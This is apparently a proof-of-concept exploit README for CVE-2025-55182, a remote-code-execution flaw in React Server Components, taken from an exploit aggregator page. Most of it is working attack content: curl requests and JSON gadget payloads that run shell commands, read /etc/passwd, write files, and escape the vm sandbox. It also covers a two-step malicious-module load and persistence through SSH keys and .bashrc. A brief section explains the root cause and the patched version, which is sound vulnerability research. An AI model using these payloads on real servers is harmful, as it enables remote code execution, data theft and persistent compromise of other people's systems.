Share
## https://sploitus.com/exploit?id=E0FEA252-903E-579A-B57C-865575AA7316
# CVE-2025-55182 - React Server Components Prototype Chain Vulnerability

This POC demonstrates CVE-2025-55182 using actual `react-server-dom-webpack@19.0.0` vulnerable code.

[CVE-2025-55182 Emergency Fix Guide: Complete Analysis & Mitigation for Next.js/React RSC Vulnerability (CVSS 10.0)](https://devresourcehub.com/cve-2025-55182-emergency-fix-guide-complete-analysis-mitigation-for-next-js-react-rsc-vulnerability-cvss-10-0.html)

This repository is forked from https://github.com/ejpir/CVE-2025-55182-poc and has not been verified yet! Please exercise caution and verify carefully!
## Quick Start

```bash
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit
```

### Expected Output

```
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
```

## NPM Scripts

```bash
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)
npm run start:module   # Start module server (port 3003) - hypothetical, see note below

# Exploits (use with npm start)
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research   # Prototype chain research

# Hypothetical exploits (use with start:module)
npm run exploit:module     # Two-step RCE via module#_load
npm run exploit:indirect   # Two-step RCE with proof file
```

> **Note**: The `module` exploits are hypothetical. The `module` built-in is rarely
> bundled in production apps. They demonstrate a theoretical attack path when only
> `fs` + `module` are available (no vm/child_process). In practice, apps with `fs`
> usually also have `child_process` via dependencies like sharp, puppeteer, or execa.

## Test Individual Gadgets

```bash
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='
```

## Key Files

### Servers

| File | Port | Description |
|------|------|-------------|
| `src/server-realistic.js` | 3002 | **Main server** - simulates webpack bundle with common modules (fs, vm, child_process) |
| `src/server.js` | 3002 | Legacy server (uses direct require) |
| `src/server-module-test.js` | 3003 | Server with module + fs (for research) |

### Exploit Scripts

| File | Description |
|------|-------------|
| `exploit-rce-v4.js` | **Primary RCE** via `vm#runInThisContext` |
| `exploit-all-gadgets.js` | Tests all RCE gadgets (vm, child_process, fs) |
| `exploit-module-load.js` | Two-step RCE via `fs` + `module#_load` |
| `exploit-indirect-rce.js` | Two-step RCE with proof file creation |
| `exploit-persistence.js` | Persistence attacks (SSH keys, .bashrc) |
| `exploit-research.js` | Prototype chain research |

## How server-realistic.js Works

Simulates a real webpack bundle where apps commonly bundle dangerous modules via dependencies:

```javascript
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};
```

The `__webpack_require__` function only loads modules from `BUNDLED_MODULES`, simulating real webpack behavior.

## The Vulnerability

### Root Cause

In `requireModule()`, exports are accessed via bracket notation without `hasOwnProperty` check:

```javascript
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];
```

### Attack Vector

1. Send `$ACTION_REF_0` with bound action metadata
2. `id: 'vm#runInThisContext'` loads `vm` module, accesses `runInThisContext` export
3. `bound` array becomes arguments to the function
4. When action is called: `runInThisContext(CODE)` executes arbitrary code

## All Verified RCE Gadgets

| Gadget | Status | Description |
|--------|--------|-------------|
| `vm#runInThisContext` | โœ“ | Execute arbitrary JS in current context |
| `vm#runInNewContext` | โœ“ | Execute in "sandbox" (easily escaped) |
| `child_process#execSync` | โœ“ | Direct shell command execution |
| `child_process#execFileSync` | โœ“ | Execute binary files |
| `child_process#spawnSync` | โœ“ | Spawn process (returns object) |
| `module#_load` | โœ“ | Load and execute JS file (2-step with fs) |
| `fs#readFileSync` | โœ“ | Read arbitrary files |
| `fs#writeFileSync` | โœ“ | Write arbitrary files |

### Gadget Payload Examples

**Execute shell command (whoami):**
```javascript
{ id: 'child_process#execSync', bound: ['whoami'] }
```

**Read sensitive files:**
```javascript
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
```

**Write files to disk:**
```javascript
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
```

**Execute arbitrary JavaScript:**
```javascript
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
```

**Sandbox escape (vm.runInNewContext):**
```javascript
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
```

## Alternative Attack Paths

### Do You Need vm or child_process?

**For Direct RCE**: Yes, you need one of:
- `vm` module (runInThisContext, runInNewContext)
- `child_process` module (execSync, execFileSync, spawnSync)

**For Indirect RCE (fs-only)**: No! With just `fs` you can:
- Write to `~/.ssh/authorized_keys` โ†’ SSH access
- Append to `~/.bashrc` โ†’ Code execution on next login
- Overwrite `node_modules/*` โ†’ RCE on app restart
- Modify `package.json` postinstall โ†’ RCE on next npm install

### Hypothetical: Two-Step RCE with module#_load

> **Note**: This is hypothetical. The `module` built-in is rarely bundled in production.

```javascript
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!
```

## Comparison Results

| Version | Attack | Result |
|---------|--------|--------|
| React 19.0.0 | `vm#runInThisContext` | โœ“ RCE achieved |
| React 19.2.1 | `vm#runInThisContext` | โœ— Blocked |

## Testing Patched Version

```bash
cd /tmp/react-rsc-patched
npm install react-server-dom-webpack@19.2.1
npm start
# Attacks will fail
```

## Vulnerable npm Packages

See [VULNERABLE-PACKAGES.md](VULNERABLE-PACKAGES.md) for research on popular npm packages that include dangerous modules:

| Module | Weekly Downloads | Popular Packages |
|--------|------------------|------------------|
| `fs` | 145M+ | fs-extra, gray-matter, multer, sharp |
| `child_process` | 103M+ | execa, shelljs, puppeteer, sharp |
| `vm` | 21M+ | ejs, pug, handlebars, vm2 |

## Affected Versions

- react-server-dom-webpack: = 19.2.0
- react-server-dom-turbopack: >= 19.2.0
- Next.js: 15.0.5+